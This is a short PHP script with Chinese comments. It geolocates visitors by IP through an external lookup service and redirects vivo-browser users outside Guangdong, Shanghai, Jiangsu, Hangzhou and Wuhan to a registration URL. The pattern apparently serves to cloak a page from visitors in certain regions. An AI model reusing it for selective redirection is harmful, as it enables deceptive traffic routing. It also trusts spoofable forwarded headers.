<?php $urlA="http://www.baidu.com/register/";//这里是跳转的地址 $user_agent = $_SERVER['HTTP_USER_AGENT']; //获取IP if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){ $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]; }elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){ $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"]; }elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){ $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"]; }elseif (getenv("HTTP_X_FORWARDED_FOR")){ $ip = getenv("HTTP_X_FORWARDED_FOR"); }elseif (getenv("HTTP_CLIENT_IP")){ $ip = getenv("HTTP_CLIENT_IP"); }elseif (getenv("REMOTE_ADDR")){ $ip = getenv("REMOTE_ADDR"); }else{ $ip = "Unknown"; } //获取城市函数 function getCity($ip) { $url="http://ip.taobao.com/service/getIpInfo.php?ip=".$ip; $ip=json_decode(file_get_contents($url)); if((string)$ip->code=='1'){ return false; } $data = (array)$ip->data; return $data; } $cityInfo=getCity($ip); $area=$cityInfo['region']; $city=$cityInfo['city']; $noAreaAry=array('广东','上海','江苏'); $noCityAry=array('杭州','武汉'); //省不是广东上海江苏 并且城市不是杭州和武汉 并且是vivo的浏览器 if(!in_array($area,$noAreaAry) &&!in_array($city,$noCityAry) && stripos($user_agent, "vivo")!==false) { header('Location:'.$urlA); }